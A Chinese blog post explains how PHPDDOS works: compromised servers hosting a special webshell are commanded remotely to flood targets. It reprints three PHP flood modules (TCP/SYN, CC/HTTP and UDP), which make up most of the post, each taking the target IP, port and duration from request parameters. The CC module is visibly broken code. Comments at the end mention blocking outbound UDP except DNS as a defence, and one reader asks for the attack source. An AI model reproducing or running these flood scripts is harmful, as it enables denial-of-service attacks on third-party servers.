前几天某些服务器被打得像狗,各种攻击呀,分析了一下,估计是用PHPDDOS干的,现在抓鸡艰难,哪有那么多鸟人可以抓到那么多鸡,成本也高。PHPDDOS就不一样了,拿到了shell就可以直接用来攻击了,真是杀人越货,居家旅行,必备神器。
PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击,在php越来越流行的今天,这种攻击必然会越来越流行。
去翻了一下,找到了些代码,代码来自phpddos.com,与本站无关。
TCP模块
<?php ini_set("display_errors", "Off"); $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
CC模块
<?php echo "状态 : 正常运行中.....<br>"; echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " CC Flood 模块<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; error_reporting(E_ALL); //提示错误信息 set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环 ob_implicit_flush(); // 刷新输出缓冲 $address = $_POST['site']; // 网站地址 $port = $_POST['port']; // 端口 $dongu = $_POST['dongu']; //循环次数 $sayi = 1; while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环 { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo "HaHa\n"; } if (socket_bind($sock, $address, $port) === false) { // 连接端口 echo "HaHa\n"; } if (socket_listen($sock, 5) === false) { echo "HaHa\n"; } $msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; socket_write($msg); socket_close($sock); $sayi++; // 循环一次 变量sayi 加1 echo "Goodbye...".$sayi; // 输出循环次数 } ?>
UDP模块
<?php $packets = 0; $ip = $_GET['ip']; $port = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "状态 : 正常运行中.....<br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "phpddos"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " 作者:ybhacker<br>"; echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
你可能喜欢
本文标题:PHPDDOS攻击原理以及核心代码
转载请注明来源,如果喜欢本站可以Feed订阅本站。
php udp 工具在服务器上爪到过 也分析过
大多好像都是发送udp的
解决办法网上也说了很多,禁用某些php函数,我感觉这样虽然防了php被恶意利用也可能阻止某些web程序的运行,上网学习了下采用了禁用UDP的办法,只允许UDP DNS
大牛可以发几个PHPDDOS源码我玩吗- – 或者给这款攻击器我也行
呵呵,不好意思,真没有